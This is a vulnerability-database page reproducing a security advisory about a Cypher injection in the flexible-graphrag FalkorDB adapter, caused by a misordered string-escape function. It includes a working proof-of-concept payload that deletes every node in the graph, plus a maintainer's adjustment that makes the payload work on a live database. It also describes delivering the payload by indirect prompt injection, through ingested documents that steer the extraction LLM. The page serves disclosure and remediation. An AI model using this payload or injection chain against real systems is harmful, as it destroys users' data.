Flexible GraphRAG: Cypher/Graph Injection via broken string-escaping in FalkorDB adapter (_escape()) - full graph wipe from ingested-document content
CVE-2026-114510 · GHSA-vqrg-773h-4wxc · published 27 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-114510?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
flexible-graphrag(PyPI) >= 0.6.0, < 0.8.2
How to check
- Run
pip show flexible-graphragin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
flexible-graphragto 0.8.2 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
**Description**
def _escape(v: str) -> str:
return str(v).replace("'", "\\'").replace("\\", "\\\\")
The escaping order is backwards, exactly like the classic HTML double-escape bug: step 1 inserts a literal backslash in front of every ', then step 2 re-matches that just-inserted backslash and doubles it. For an input ending in a single quote, the two steps combined produce \\' (two backslashes followed by the quote) in the output — which, under the standard backslash-escape convention used by Cypher/openCypher single-quoted string literals, is parsed as one escaped backslash followed by an unescaped, string-terminating quote. The quote is not neutralized; the string breaks open.
This escaped value is interpolated directly into Cypher query strings built by string formatting (not parameters) at 5 call sites in the same method:
self.lc_graph.query(
f"MERGE (n:`{node.type}` {{id: '{_escape(node.id)}'}}) "
f"{props}"
f"RETURN distinct 'done' AS result"
)
...
self.lc_graph.query(
f"MATCH (a:`{rel.source.type}` {{id: '{_escape(rel.source.id)}'}}), "
f"(b:`{rel.target.type}` {{id: '{_escape(rel.target.id)}'}}) "
f"MERGE (a)-[r:`{rel_type}`]->(b) "
f"{props}"
f"RETURN distinct 'done' AS result"
)
node.type, rel.source.type, rel.target.type and rel_type are also interpolated into backtick-quoted identifiers with no escaping at all.
Where the attacker-controlled data comes from: node/rel objects are LLM-extracted entities and relationships derived from ingested document content (the whole point of this GraphRAG pipeline). Document content is therefore untrusted input relative to this database layer — a classic indirect-prompt-injection-to-query-injection chain: craft a document whose text causes the extraction LLM to produce an entity id containing the payload below, ingest it, and the broken escape function turns it into live Cypher.
**Impact**
Full Cypher clause injection into lc_graph.query() calls that run with no query parameterization and no read-only restriction visible in this adapter. Demonstrated impact: appending a second clause (MATCH (m) DETACH DELETE m) to the query wipes every node and relationship in the graph in a single call. The same primitive can be adapted to exfiltrate data (e.g. RETURN other nodes' properties back through a field the caller reads) or tamper with existing records, depending on what the calling code surfaces to the end user/LLM.
Proof of Concept (executed, full query reconstruction)
Only the two-line _escape() function and the f-string template were executed — no import of the flexible-graphrag package itself.
raw attacker-controlled node.id:
"pwn' }) MATCH (m) DETACH DELETE m RETURN count(m) AS pwn //"
output of buggy _escape():
"pwn\\' }) MATCH (m) DETACH DELETE m RETURN count(m) AS pwn //"
full query string actually sent to lc_graph.query():
MERGE (n:`Entity` {id: 'pwn\\' }) MATCH (m) DETACH DELETE m RETURN count(m) AS pwn //'}) RETURN distinct 'done' AS result
Parse trace (standard backslash-escape convention for single-quoted Cypher strings):
Opening ' starts the id string literal.
pwn is consumed literally.
\\ (two backslash chars) is consumed as one escaped-backslash sequence — the string now holds one literal backslash.
The very next character is an unescaped ' — this closes the string literal early. id value ends up as "pwn\" (with a trailing backslash).
The remaining text }) MATCH (m) DETACH DELETE m RETURN count(m) AS pwn //... is now parsed as live Cypher syntax, not string content.
}) closes the property map and the node pattern — completing a valid MERGE clause.
MATCH (m) DETACH DELETE m RETURN count(m) AS pwn is a second, fully valid Cypher clause chained immediately after the MERGE (Cypher allows sequential clauses with no separator).
// starts a line comment, consuming the rest of the original template ('}) RETURN distinct 'done' AS result) so it never executes.
Effective query the database actually receives:
MERGE (n:`Entity` {id: 'pwn\'}) MATCH (m) DETACH DELETE m RETURN count(m) AS pwn
- a syntactically complete, two-clause Cypher statement that creates one throwaway node and then deletes the entire graph.
Suggested Fix
Escape \ before ' (fixes the ordering bug, same class of fix as the litellm report):
def _escape(v: str) -> str:
return str(v).replace("\\", "\\\\").replace("'", "\\'")
Stronger fix, recommended in addition: use FalkorDB's parameterized query support (lc_graph.query(query, params={...})) instead of string interpolation entirely, and reject/escape backtick characters in node.type/rel_type/rel.source.type/rel.target.type before using them as label/relationship-type identifiers (these have no escaping at all today).
One caveat (same as original internal triage)
This was verified as a pure string-construction bug (steps 1-8 above are executed, not hypothesized) and confirmed against FalkorDB's Cypher-compatible documentation's stated backslash-escape convention for string literals, but was not run against a live FalkorDB instance to observe the parser's exact behavior byte-for-byte. If FalkorDB's dialect deviates from this convention, the specific PoC payload above may need minor adjustment — the underlying escape-ordering defect itself is confirmed either way.
Maintainer note: confirmed exploitable against a live FalkorDB. FalkorDB requires a WITH
between MERGE and MATCH, so the payload needs "WITH 1 AS x" added; with it, the payload
deleted every node in the graph. Fixed in 0.8.2: values are passed as query parameters and
labels/relationship types/property keys are stripped of backticks.
Affected configuration: GRAPH_BACKEND=langchain with GRAPH_DB=falkordb only. The LlamaIndex
FalkorDB store is not affected.
Workaround before upgrading: use GRAPH_BACKEND=llamaindex with FalkorDB, or another graph database.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/stevereiner/flexible-graphrag/security/advisories/GHSA-vqrg-773h-4wxc
- nvd.nist.gov/vuln/detail/CVE-2026-114510
- github.com/stevereiner/flexible-graphrag/commit/9ace8d47e198ce3f15dbf22853e396ab4e9884fa
- github.com/stevereiner/flexible-graphrag/releases/tag/v0.8.2
- github.com/advisories/GHSA-vqrg-773h-4wxc
- github.com/stevereiner/flexible-graphrag
Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON